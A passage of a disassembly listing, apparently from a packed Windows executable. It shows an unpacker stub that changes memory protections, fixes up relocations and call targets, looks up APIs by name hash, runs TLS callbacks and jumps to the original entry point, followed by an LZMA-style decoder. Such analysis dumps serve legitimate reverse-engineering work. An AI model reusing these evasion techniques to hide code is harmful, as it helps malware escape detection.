; ---------------------------------------------------------------------------


loc_406D99:				; CODE XREF: fq0epazq:00406D9Dj
		inc	esi


loc_406D9A:				; CODE XREF: fq0epazq:00406D97j
		cmp	byte ptr [esi],	0
		jnz	short loc_406D99
		inc	esi
		add	eax, 4
		mov	edi, [eax]
		add	edi, [ebp+0C9Ch]
		add	eax, 4
		mov	[ebp+0CBCh], eax


loc_406DB4:				; CODE XREF: fq0epazq:00406D40j
		cmp	byte ptr [esi],	1
		jnz	short loc_406D42
		push	4000h
		push	39h
		push	dword ptr [ebp+0CC0h]
		call	dword ptr [ebp+0C31h]
		push	8000h
		push	0
		push	dword ptr [ebp+0CC0h]
		call	dword ptr [ebp+0C31h]
		push	8000h
		push	0
		push	dword ptr [ebp+0C94h]
		call	dword ptr [ebp+0C31h]
		call	sub_406E5B
		call	sub_406F5B
		popa
		jmp	loc_403BA0
; ---------------------------------------------------------------------------


loc_406E05:				; CODE XREF: fq0epazq:00406D54j
					; fq0epazq:00406D7Aj
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_406E07	proc near		; CODE XREF: fq0epazq:00406CA9p
		pusha
		lea	eax, [ebp+0C90h]
		push	eax
		push	40h
		push	200h
		push	dword ptr [ebp+0C9Ch]
		call	dword ptr [ebp+0C35h]
		mov	dword ptr [ebp+0C90h], 2040001h
		mov	eax, [ebp+0C9Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+0C9Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+0C90h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+0C35h]
		popa
		retn
sub_406E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_406E5B	proc near		; CODE XREF: fq0epazq:00406DF5p

var_24		= dword	ptr -24h

		pusha
		mov	esi, [ebp+0CA0h]
		or	esi, esi
		jz	short loc_406EDD
		mov	edi, [ebp+0C98h]
		mov	eax, [ebp+0C9Ch]
		cmp	eax, edi
		jz	short loc_406EDD
		add	esi, eax
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------


loc_406E7A:				; CODE XREF: sub_406E5B+80j
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+0CA4h], eax
		add	[ebp+0CA4h], esi
		mov	ebx, [ebp+0C9Ch]
		xor	ecx, ecx
		add	esi, 8
		jmp	short loc_406ED0
; ---------------------------------------------------------------------------


loc_406E98:				; CODE XREF: sub_406E5B+7Bj
		movzx	eax, byte ptr [esi]
		cmp	al, 0E0h
		jnb	short loc_406EB3
		push	eax
		add	eax, edx
		add	eax, ebx
		add	eax, ecx
		add	ecx, [esp+24h+var_24]
		add	esp, 4
		sub	[eax], edi
		add	[eax], ebx
		inc	esi
		jmp	short loc_406ED0
; ---------------------------------------------------------------------------


loc_406EB3:				; CODE XREF: sub_406E5B+42j
		movzx	eax, word ptr [esi]
		xchg	al, ah
		sub	ax, 0E000h
		push	eax
		add	eax, edx
		add	eax, ebx
		add	eax, ecx
		add	ecx, [esp+24h+var_24]
		add	esp, 4
		sub	[eax], edi
		add	[eax], ebx
		add	esi, 2


loc_406ED0:				; CODE XREF: sub_406E5B+3Bj
					; sub_406E5B+56j
		cmp	esi, [ebp+0CA4h]
		jb	short loc_406E98


loc_406ED8:				; CODE XREF: sub_406E5B+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_406E7A


loc_406EDD:				; CODE XREF: sub_406E5B+9j
					; sub_406E5B+19j
		popa
		retn
sub_406E5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406EDF	proc near		; CODE XREF: fq0epazq:00406CE8p
		pusha
		mov	esi, [ebp+0CA8h]
		add	esi, [ebp+0C9Ch]
		mov	edi, esi
		mov	ecx, [ebp+0CACh]
		cmp	dword ptr [ebp+0CB0h], 0
		jz	short loc_406F31
		jmp	short loc_406F2A
; ---------------------------------------------------------------------------


loc_406EFF:				; CODE XREF: sub_406EDF+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_406F09
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_406F28


loc_406F09:				; CODE XREF: sub_406EDF+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+0CB0h]
		jnz	short loc_406F22
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_406F22:				; CODE XREF: sub_406EDF+33j
		add	esi, 4
		sub	ecx, 4


loc_406F28:				; CODE XREF: sub_406EDF+28j
		inc	esi
		dec	ecx


loc_406F2A:				; CODE XREF: sub_406EDF+1Ej
		cmp	ecx, 0
		ja	short loc_406EFF
		jmp	short loc_406F59
; ---------------------------------------------------------------------------


loc_406F31:				; CODE XREF: sub_406EDF+1Cj
		cdq
		jmp	short loc_406F54
; ---------------------------------------------------------------------------


loc_406F34:				; CODE XREF: sub_406EDF+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_406F3F
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_406F52


loc_406F3F:				; CODE XREF: sub_406EDF+59j
		mov	eax, [esi+1]
		bswap	eax
		sub	eax, edx
		mov	[esi+1], eax
		add	esi, 4
		add	edx, 4
		sub	ecx, 4


loc_406F52:				; CODE XREF: sub_406EDF+5Ej
		inc	esi
		dec	ecx


loc_406F54:				; CODE XREF: sub_406EDF+53j
		cmp	ecx, 0
		ja	short loc_406F34


loc_406F59:				; CODE XREF: sub_406EDF+50j
		popa
		retn
sub_406EDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F5B	proc near		; CODE XREF: fq0epazq:00406DFAp
		pusha
		mov	esi, [ebp+0CA0h]
		mov	esi, [ebp+0C9Ch]
		add	esi, [esi+3Ch]
		mov	esi, [esi+0C0h]
		or	esi, esi
		jz	short loc_406FA4
		add	esi, [ebp+0C9Ch]
		add	esi, 0Ch
		mov	esi, [esi]
		or	esi, esi
		jz	short loc_406FA4
		mov	eax, [esi]
		jmp	short loc_406FA0
; ---------------------------------------------------------------------------


loc_406F88:				; CODE XREF: sub_406F5B+47j
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_406F9A
		push	0
		push	1
		push	dword ptr [ebp+0C9Ch]
		call	eax


loc_406F9A:				; CODE XREF: sub_406F5B+31j
		pop	esi
		add	esi, 4
		mov	eax, [esi]


loc_406FA0:				; CODE XREF: sub_406F5B+2Bj
		or	eax, eax
		jnz	short loc_406F88


loc_406FA4:				; CODE XREF: sub_406F5B+18j
					; sub_406F5B+27j
		popa
		retn
sub_406F5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FA6	proc near		; CODE XREF: fq0epazq:00406D73p
					; sub_407038+14p

var_4		= dword	ptr -4
arg_0		= byte ptr  4

		lea	eax, [esp+arg_0]
		pusha
		mov	esi, eax
		mov	eax, [esi+4]
		rol	eax, 8
		cmp	al, 80h
		jnz	short loc_406FD5
		ror	eax, 8
		xor	eax, 80000000h
		cmp	eax, 10000h
		jbe	short loc_406FE2
		xor	eax, 80000000h
		push	eax
		push	dword ptr [esi]
		call	sub_406FF3
		jmp	short loc_406FE2
; ---------------------------------------------------------------------------


loc_406FD5:				; CODE XREF: sub_406FA6+Fj
		ror	eax, 8
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_406FF3


loc_406FE2:				; CODE XREF: sub_406FA6+1Ej
					; sub_406FA6+2Dj
		push	eax
		push	dword ptr [esi]
		call	dword ptr [ebp+0C29h]
		mov	[esp+20h+var_4], eax
		popa
		retn	8
sub_406FA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FF3	proc near		; CODE XREF: sub_406FA6+28p
					; sub_406FA6+37p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebx, [esp+20h+arg_0]
		mov	ecx, ebx
		add	ebx, [ebx+3Ch]
		mov	ebx, [ebx+78h]
		add	ebx, ecx
		mov	edi, [ebx+20h]
		add	edi, ecx
		xor	esi, esi


loc_407009:				; CODE XREF: sub_406FF3+34j
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		xor	eax, eax


loc_407012:				; CODE XREF: sub_406FF3+28j
		rol	eax, 7
		xor	al, [edx]
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_407012
		cmp	eax, [esp+20h+arg_4]
		jz	short loc_407029
		inc	esi
		cmp	esi, [ebx+18h]
		jb	short loc_407009


loc_407029:				; CODE XREF: sub_406FF3+2Ej
		lea	edx, [edi+esi*4]
		mov	edx, [edx]
		add	edx, ecx
		mov	[esp+20h+var_4], edx
		popa
		retn	8
sub_406FF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407038	proc near		; CODE XREF: fq0epazq:00406D4Dp

arg_4		= dword	ptr  8

		pusha
		lea	eax, [ebp+0C18h]
		push	eax
		call	dword ptr [ebp+0C25h]
		push	774393E8h
		push	eax
		call	sub_406FA6
		mov	edi, eax
		push	40h
		push	1000h
		push	104h
		push	0
		call	dword ptr [ebp+0C2Dh]
		mov	[ebp+0CB4h], eax
		push	104h
		push	dword ptr [ebp+0CB4h]
		cmp	dword ptr [ebp+0C9Ch], 0
		jz	short loc_407089
		push	dword ptr [ebp+0C9Ch]
		jmp	short loc_40708F
; ---------------------------------------------------------------------------


loc_407089:				; CODE XREF: sub_407038+47j
		push	dword ptr [ebp+0C98h]


loc_40708F:				; CODE XREF: sub_407038+4Fj
		call	edi	; fprintf
		mov	eax, [ebp+0CB4h]
		jmp	short loc_40709A
; ---------------------------------------------------------------------------


loc_407099:				; CODE XREF: sub_407038+65j
		inc	eax


loc_40709A:				; CODE XREF: sub_407038+5Fj
		cmp	byte ptr [eax],	0
		jnz	short loc_407099
		jmp	short loc_4070A5
; ---------------------------------------------------------------------------


loc_4070A1:				; CODE XREF: sub_407038+70j
		mov	byte ptr [eax],	0
		dec	eax


loc_4070A5:				; CODE XREF: sub_407038+67j
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4070A1
		inc	eax
		jmp	short loc_4070B4
; ---------------------------------------------------------------------------


loc_4070AD:				; CODE XREF: sub_407038+7Fj
		movzx	ebx, byte ptr [esi]
		mov	[eax], bl
		inc	esi
		inc	eax


loc_4070B4:				; CODE XREF: sub_407038+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_4070AD
		push	dword ptr [ebp+0CB4h]
		call	dword ptr [ebp+0C25h]
		mov	[esp+14h+arg_4], eax
		push	8000h
		push	0
		push	dword ptr [ebp+0CB4h]
		call	dword ptr [ebp+0C31h]
		popa
		retn
sub_407038	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		xor	eax, eax
		inc	eax
		mov	edi, [ebp+10h]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], eax
		mov	[ebp-18h], eax
		mov	[ebp-28h], eax
		mov	eax, 400h
		xor	edx, edx
		mov	ecx, 30736h
		rep stosd
		mov	eax, [ebp+0Ch]
		push	5
		mov	[ebp-8], eax
		mov	[ebp-10h], edx
		mov	[ebp-1], dl
		mov	[ebp-0Ch], edx
		mov	[ebp+0Ch], edx
		or	eax, 0FFFFFFFFh
		pop	ecx


loc_40711C:				; CODE XREF: fq0epazq:00407131j
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		inc	dword ptr [ebp-8]
		dec	ecx
		mov	[ebp+0Ch], edx
		jnz	short loc_40711C


loc_407133:				; CODE XREF: fq0epazq:004072C5j
					; fq0epazq:004072D4j ...
		mov	esi, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		and	esi, 3
		shl	ecx, 4
		add	ecx, esi
		cmp	eax, 1000000h
		lea	edi, [edx+ecx*4]
		jnb	short loc_407165
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_407165:				; CODE XREF: fq0epazq:0040714Cj
		mov	ecx, [edi]
		mov	ebx, eax
		shr	ebx, 0Bh
		imul	ebx, ecx
		cmp	[ebp+0Ch], ebx
		jnb	loc_4072E2
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		movzx	ecx, byte ptr [ebp-1]
		imul	ecx, 0C00h
		xor	edx, edx
		mov	[edi], esi
		mov	esi, [ebp+10h]
		inc	edx
		cmp	dword ptr [ebp-0Ch], 7
		lea	ecx, [esi+ecx+1CD8h]
		mov	eax, ebx
		mov	[ebp-20h], ecx
		jl	loc_40724B
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		mov	esi, [ebp+8]
		movzx	ecx, byte ptr [esi+ecx]
		mov	[ebp-24h], ecx


loc_4071BC:				; CODE XREF: fq0epazq:00407243j
		shl	dword ptr [ebp-24h], 1
		mov	esi, [ebp-24h]
		mov	edi, [ebp-20h]
		and	esi, 100h
		cmp	eax, 1000000h
		lea	ecx, [edx+esi]
		lea	ecx, [edi+ecx*4+400h]
		mov	[ebp-2Ch], ecx
		jnb	short loc_4071F6
		mov	ebx, [ebp-8]
		mov	edi, [ebp+0Ch]
		movzx	ebx, byte ptr [ebx]
		shl	edi, 8
		or	edi, ebx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edi


loc_4071F6:				; CODE XREF: fq0epazq:004071DDj
		mov	ecx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_407224
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-2Ch]
		add	edx, edx
		test	esi, esi
		mov	[ecx], edi
		jnz	loc_4072A4
		jmp	short loc_40723D
; ---------------------------------------------------------------------------


loc_407224:				; CODE XREF: fq0epazq:00407203j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		test	esi, esi
		mov	edi, [ebp-2Ch]
		mov	[edi], ecx
		lea	edx, [edx+edx+1]
		jz	short loc_4072A4


loc_40723D:				; CODE XREF: fq0epazq:00407222j
		cmp	edx, 100h
		jl	loc_4071BC
		jmp	short loc_4072AC
; ---------------------------------------------------------------------------


loc_40724B:				; CODE XREF: fq0epazq:004071A6j
					; fq0epazq:004072AAj
		cmp	eax, 1000000h
		mov	ecx, [ebp-20h]
		lea	edi, [ecx+edx*4]
		jnb	short loc_40726F
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_40726F:				; CODE XREF: fq0epazq:00407256j
		mov	ecx, [edi]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_407292
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi], esi
		add	edx, edx
		jmp	short loc_4072A4
; ---------------------------------------------------------------------------


loc_407292:				; CODE XREF: fq0epazq:0040727Cj
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi], ecx
		lea	edx, [edx+edx+1]


loc_4072A4:				; CODE XREF: fq0epazq:0040721Cj
					; fq0epazq:0040723Bj ...
		cmp	edx, 100h
		jl	short loc_40724B


loc_4072AC:				; CODE XREF: fq0epazq:00407249j
		mov	esi, [ebp-10h]
		mov	ecx, [ebp+8]
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-1], dl
		mov	[ecx+esi], dl
		jge	short loc_4072CA
		and	dword ptr [ebp-0Ch], 0
		jmp	loc_407133
; ---------------------------------------------------------------------------


loc_4072CA:				; CODE XREF: fq0epazq:004072BFj
		cmp	dword ptr [ebp-0Ch], 0Ah
		jge	short loc_4072D9
		sub	dword ptr [ebp-0Ch], 3
		jmp	loc_407133
; ---------------------------------------------------------------------------


loc_4072D9:				; CODE XREF: fq0epazq:004072CEj
		sub	dword ptr [ebp-0Ch], 6
		jmp	loc_407133
; ---------------------------------------------------------------------------


loc_4072E2:				; CODE XREF: fq0epazq:00407172j
		sub	[ebp+0Ch], ebx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	edx, [ebp-0Ch]
		sub	eax, ebx
		cmp	eax, 1000000h
		mov	[edi], ecx
		mov	ecx, [ebp+10h]
		lea	edx, [ecx+edx*4+300h]
		jnb	short loc_40731B
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_40731B:				; CODE XREF: fq0epazq:00407302j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_40736D
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	ecx, [ebp-18h]
		mov	[ebp-28h], ecx
		mov	ecx, [ebp-1Ch]
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-14h]
		mov	[edx], edi
		mov	[ebp-1Ch], ecx
		jge	short loc_407358
		and	dword ptr [ebp-0Ch], 0
		jmp	short loc_40735F
; ---------------------------------------------------------------------------


loc_407358:				; CODE XREF: fq0epazq:00407350j
		mov	dword ptr [ebp-0Ch], 3


loc_40735F:				; CODE XREF: fq0epazq:00407356j
		mov	ecx, [ebp+10h]
		add	ecx, 0CC8h
		jmp	loc_407556
; ---------------------------------------------------------------------------


loc_40736D:				; CODE XREF: fq0epazq:00407328j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edi, [edx+ecx*4+330h]
		jnb	short loc_4073A6
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4073A6:				; CODE XREF: fq0epazq:0040738Dj
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	loc_40745A
		mov	ebx, 800h
		sub	ebx, ecx
		shr	ebx, 5
		add	ebx, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, 0Fh
		shl	ecx, 4
		mov	[edi], ebx
		mov	edi, [ebp+10h]
		add	ecx, esi
		cmp	edx, 1000000h
		mov	eax, edx
		lea	edi, [edi+ecx*4]
		jnb	short loc_4073FB
		mov	ecx, [ebp+0Ch]
		shl	edx, 8
		mov	eax, edx
		mov	edx, [ebp-8]
		movzx	edx, byte ptr [edx]
		shl	ecx, 8
		or	ecx, edx
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4073FB:				; CODE XREF: fq0epazq:004073E0j
		mov	ecx, [edi]
		mov	edx, eax
		shr	edx, 0Bh
		imul	edx, ecx
		cmp	[ebp+0Ch], edx
		jnb	short loc_407447
		mov	esi, [ebp-10h]
		mov	eax, edx
		mov	edx, 800h
		sub	edx, ecx
		shr	edx, 5
		add	edx, ecx
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		mov	[edi], edx
		mov	edx, [ebp+8]
		setnl	cl
		lea	ecx, [ecx+ecx+9]
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-14h]
		inc	dword ptr [ebp-10h]
		mov	cl, [edx+ecx]
		mov	[ebp-1], cl
		mov	[edx+esi], cl
		jmp	loc_407133
; ---------------------------------------------------------------------------


loc_407447:				; CODE XREF: fq0epazq:00407408j
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		mov	[edi], ecx
		jmp	loc_40753A
; ---------------------------------------------------------------------------


loc_40745A:				; CODE XREF: fq0epazq:004073B3j
		sub	[ebp+0Ch], edx
		sub	eax, edx
		mov	edx, ecx
		shr	edx, 5
		sub	ecx, edx
		cmp	eax, 1000000h
		mov	edx, [ebp+10h]
		mov	[edi], ecx
		mov	ecx, [ebp-0Ch]
		lea	edx, [edx+ecx*4+360h]
		jnb	short loc_407493
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_407493:				; CODE XREF: fq0epazq:0040747Aj
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4074B7
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-1Ch]
		mov	[edx], edi
		jmp	short loc_407531
; ---------------------------------------------------------------------------


loc_4074B7:				; CODE XREF: fq0epazq:004074A0j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		cmp	eax, 1000000h
		mov	[edx], ecx
		mov	ecx, [ebp-0Ch]
		mov	edx, [ebp+10h]
		lea	edx, [edx+ecx*4+390h]
		jnb	short loc_4074F0
		mov	edi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	ecx, 8
		or	ecx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4074F0:				; CODE XREF: fq0epazq:004074D7j
		mov	ecx, [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, ecx
		cmp	[ebp+0Ch], edi
		jnb	short loc_407514
		mov	eax, edi
		mov	edi, 800h
		sub	edi, ecx
		shr	edi, 5
		add	edi, ecx
		mov	ecx, [ebp-18h]
		mov	[edx], edi
		jmp	short loc_40752B
; ---------------------------------------------------------------------------


loc_407514:				; CODE XREF: fq0epazq:004074FDj
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, ecx
		shr	edi, 5
		sub	ecx, edi
		mov	[edx], ecx
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		mov	[ebp-28h], edx


loc_40752B:				; CODE XREF: fq0epazq:00407512j
		mov	edx, [ebp-1Ch]
		mov	[ebp-18h], edx


loc_407531:				; CODE XREF: fq0epazq:004074B5j
		mov	edx, [ebp-14h]
		mov	[ebp-1Ch], edx
		mov	[ebp-14h], ecx


loc_40753A:				; CODE XREF: fq0epazq:00407455j
		xor	ecx, ecx
		cmp	dword ptr [ebp-0Ch], 7
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 0Bh
		mov	[ebp-0Ch], ecx
		mov	ecx, [ebp+10h]
		add	ecx, 14D0h


loc_407556:				; CODE XREF: fq0epazq:00407368j
		cmp	eax, 1000000h
		jnb	short loc_407574
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_407574:				; CODE XREF: fq0epazq:0040755Bj
		mov	edx, [ecx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_4075A0
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		and	dword ptr [ebp-24h], 0
		mov	[ecx], edi
		lea	ecx, [ecx+esi+8]
		jmp	short loc_4075FE
; ---------------------------------------------------------------------------


loc_4075A0:				; CODE XREF: fq0epazq:00407581j
		sub	[ebp+0Ch], edi
		sub	eax, edi
		mov	edi, edx
		shr	edi, 5
		sub	edx, edi
		cmp	eax, 1000000h
		mov	[ecx], edx
		jnb	short loc_4075CC
		mov	edi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	edi, byte ptr [edi]
		shl	edx, 8
		or	edx, edi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_4075CC:				; CODE XREF: fq0epazq:004075B3j
		mov	edx, [ecx+4]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, edx
		cmp	[ebp+0Ch], edi
		jnb	short loc_407607
		mov	eax, edi
		mov	edi, 800h
		sub	edi, edx
		shr	edi, 5
		add	edi, edx
		shl	esi, 5
		mov	[ecx+4], edi
		lea	ecx, [ecx+esi+208h]
		mov	dword ptr [ebp-24h], 8


loc_4075FE:				; CODE XREF: fq0epazq:0040759Ej
		mov	dword ptr [ebp-20h], 3
		jmp	short loc_40762A
; ---------------------------------------------------------------------------


loc_407607:				; CODE XREF: fq0epazq:004075DAj
		sub	[ebp+0Ch], edi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		sub	eax, edi
		mov	[ecx+4], edx
		add	ecx, 408h
		mov	dword ptr [ebp-24h], 10h
		mov	dword ptr [ebp-20h], 8


loc_40762A:				; CODE XREF: fq0epazq:00407605j
		mov	edx, [ebp-20h]
		xor	ebx, ebx
		mov	[ebp-2Ch], edx
		inc	ebx


loc_407633:				; CODE XREF: fq0epazq:0040768Cj
		cmp	eax, 1000000h
		jnb	short loc_407651
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


loc_407651:				; CODE XREF: fq0epazq:00407638j
		mov	edx, [ecx+ebx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, edx
		cmp	[ebp+0Ch], esi
		jnb	short loc_407676
		mov	eax, esi
		mov	esi, 800h
		sub	esi, edx
		shr	esi, 5
		add	esi, edx
		mov	[ecx+ebx*4], esi
		add	ebx, ebx
		jmp	short loc_407689
; ---------------------------------------------------------------------------


loc_407676:				; CODE XREF: fq0epazq:0040765Fj
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, edx
		shr	esi, 5
		sub	edx, esi
		mov	[ecx+ebx*4], edx
		lea	ebx, [ebx+ebx+1]


loc_407689:				; CODE XREF: fq0epazq:00407674j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_407633
		mov	ecx, [ebp-20h]
		xor	edx, edx
		inc	edx
		mov	esi, edx
		shl	esi, cl
		mov	ecx, [ebp-24h]
		sub	ecx, esi
		add	ebx, ecx
		cmp	dword ptr [ebp-0Ch], 4
		mov	[ebp-30h], ebx
		jge	loc_407840
		add	dword ptr [ebp-0Ch], 7
		cmp	ebx, 4
		jge	short loc_4076B9
		mov	ecx, ebx
		jmp	short loc_4076BC
; ---------------------------------------------------------------------------


loc_4076B9:				; CODE XREF: fq0epazq:004076B3j
		push	3
		pop	ecx


loc_4076BC:				; CODE XREF: fq0epazq:004076B7j
		mov	esi, [ebp+10h]
		shl	ecx, 8
		lea	edi, [esi+ecx+6C0h]
		mov	dword ptr [ebp-2Ch], 6


loc_4076D0:				; CODE XREF: fq0epazq:00407729j
		cmp	eax, 1000000h
		jnb	short loc_4076EE
		mov	esi, [ebp-8]
		mov	ecx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	ecx, 8
		or	ecx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], ecx


loc_4076EE:				; CODE XREF: fq0epazq:004076D5j
		mov	ecx, [edi+edx*4]
		mov	esi, eax
		shr	esi, 0Bh
		imul	esi, ecx
		cmp	[ebp+0Ch], esi
		jnb	short loc_407713
		mov	eax, esi
		mov	esi, 800h
		sub	esi, ecx
		shr	esi, 5
		add	esi, ecx
		mov	[edi+edx*4], esi
		add	edx, edx
		jmp	short loc_407726
; ---------------------------------------------------------------------------


loc_407713:				; CODE XREF: fq0epazq:004076FCj
		sub	[ebp+0Ch], esi
		sub	eax, esi
		mov	esi, ecx
		shr	esi, 5
		sub	ecx, esi
		mov	[edi+edx*4], ecx
		lea	edx, [edx+edx+1]


loc_407726:				; CODE XREF: fq0epazq:00407711j
		dec	dword ptr [ebp-2Ch]
		jnz	short loc_4076D0
		sub	edx, 40h
		cmp	edx, 4
		mov	edi, edx
		jl	loc_407811
		mov	ecx, edx
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		cmp	edx, 0Eh
		mov	[ebp-14h], ecx
		jge	short loc_40775E
		shl	edi, cl
		mov	ecx, edi
		sub	ecx, edx
		mov	edx, [ebp+10h]
		lea	ebx, [edx+ecx*4+0ABCh]
		jmp	short loc_4077A4
; ---------------------------------------------------------------------------


loc_40775E:				; CODE XREF: fq0epazq:0040774Aj
		sub	ecx, 4


loc_407761:				; CODE XREF: fq0epazq:0040778Fj
		cmp	eax, 1000000h
		jnb	short loc_40777F
		mov	esi, [ebp-8]
		mov	edx, [ebp+0Ch]
		movzx	esi, byte ptr [esi]
		shl	edx, 8
		or	edx, esi
		shl	eax, 8
		inc	dword ptr [ebp-8]
		mov	[ebp+0Ch], edx


